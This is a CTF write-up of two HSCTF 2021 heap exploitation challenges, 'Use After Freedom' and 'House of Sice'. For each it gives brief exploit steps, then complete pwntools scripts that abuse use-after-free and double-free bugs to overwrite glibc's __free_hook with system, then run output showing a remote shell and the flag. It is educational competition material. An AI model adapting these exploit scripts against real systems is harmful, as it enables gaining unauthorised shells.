HSCTF 2021 | PWN Writeups
Writeups of some challenges which i solved from HSCTF 2021
HSCTF 2021 | PWN
Use After Freedom
TL;DR
Vulnerability: use after free
Exploit steps:
- Leak glibc address by freeing a chunk into unsorted bins
- Perform partial unlink (unsorted bin attack) to overwrite
global_max_fast
- Free a
0x3940
sized chunk to overwrite__free_hook
with the address of0x3940
sized chunk - Use write after free to change the fd of
0x3940
sized chunk withsystem
- Allocate a
0x3940
sized chunk so_free_hook
becomessystem
- Call
free(/bin/sh)
Exploit
#!/usr/bin/env python3
from pwn import *
HOST, PORT = 'use-after-freedom.hsc.tf', 1337
exe = ELF('./use_after_freedom')
libc = exe.libc
def get_proc():
if args.REMOTE:
io = remote(HOST, PORT)
else:
io = process(exe.path)
return io
io = get_proc()
gdbscript = """
continue
"""
if args.GDB and not args.REMOTE:
gdb.attach(io, gdbscript=gdbscript)
idx = -1
def choose(choice):
io.sendafter(b"> ", f"{choice}")
def obtain(size, data):
global idx
choose(1)
io.sendafter(b"> ", f"{size}")
io.sendafter(b"> ", data)
idx += 1
return idx
def loose(idx):
choose(2)
choose(idx)
def change(idx, data):
choose(3)
choose(idx)
io.sendafter(b"> ", data)
def view(idx):
choose(4)
choose(idx)
return io.recvline()
# leak libc address
a = obtain(0x420, b"codacker")
b = obtain(0x20 , b"guard")
d = obtain(0x3940, b"codacker")
loose(a)
libc_leak = u64(view(a).strip().ljust(8, b"\x00"))
libc.address = libc_leak-0x3ebca0
success(f"libc.address: {hex(libc.address)}")
# overwrite global_max_fast with partial unlink
change(a, p64(0xdeadbeef) + p64(libc.address + 0x3ed940 - 0x10))
c = obtain(0x420, b"/bin/sh\x00")
loose(d)
change(d, p64(libc.sym.system))
obtain(0x3940, b"codacker")
loose(c)
# hack the planet
io.interactive()
root@pwn-docker:/hack# ./xpl.py REMOTE
[*] '/hack/use_after_freedom'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
[*] '/hack/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to use-after-freedom.hsc.tf on port 1337: Done
[+] libc.address: 0x7f268dd91000
[*] Switching to interactive mode
$ cat flag
flag{ok_but_why_is_global_max_fast_even_writeable}
House of Sice
TL;DR
Vulnerability: double free
Exploit steps:
- Fill up tcache bins
- Do fastbin-dup
- Call calloc to dump fastbins into tcache
- Overwrite
__free_hook
withsystem
- Call
free(/bin/sh)
Exploit
#!/usr/bin/env python3
from pwn import *
HOST, PORT = 'house-of-sice.hsc.tf', 1337
exe = ELF('./house_of_sice')
libc = exe.libc
def get_proc():
if args.REMOTE:
io = remote(HOST, PORT)
else:
io = process(exe.path)
return io
io = get_proc()
gdbscript = """
b* system
continue
"""
if args.GDB and not args.REMOTE:
gdb.attach(io, gdbscript=gdbscript)
io.recvuntil(b"deet: ")
system = int(io.recvline(), 16)
libc.address = system-libc.sym.system
success(f"libc.address: {hex(libc.address)}")
idx = -1
def buy_deet_malloc(long_data):
global idx
io.sendafter(b"> ", f"1")
io.sendafter(b"> ", f"1")
io.sendafter(b"> ", f"{long_data}")
idx += 1
return idx
def buy_deet_calloc(long_data):
global idx
io.sendafter(b"> ", f"1")
io.sendafter(b"> ", f"2")
io.sendafter(b"> ", f"{long_data}")
idx += 1
return idx
def sell_deet(idx):
io.sendafter(b"> ", f"2")
io.sendafter(b"> ", f"{idx}")
for _ in range(7):
buy_deet_malloc(0xdeadbeef)
a = buy_deet_malloc(0xdeadbeef)
b = buy_deet_malloc(0xdeadbeef)
for idx in range(7):
sell_deet(idx)
sell_deet(a)
sell_deet(b)
sell_deet(a)
for _ in range(2):
buy_deet_malloc(0xdeadbeef)
bad_deet = buy_deet_calloc(libc.sym.__free_hook)
buy_deet_malloc(u64(b"/bin/sh\x00"))
buy_deet_malloc(libc.sym.system)
sell_deet(12)
# hack the planet
io.interactive()
root@pwn-docker:/hack# ./xpl.py REMOTE
[*] '/hack/house_of_sice'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
[*] '/hack/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to house-of-sice.hsc.tf on port 1337: Done
[+] libc.address: 0x7f96a532b000
[*] Switching to interactive mode
$ cat flag
flag{tfw_the_double_free_check_still_sucks}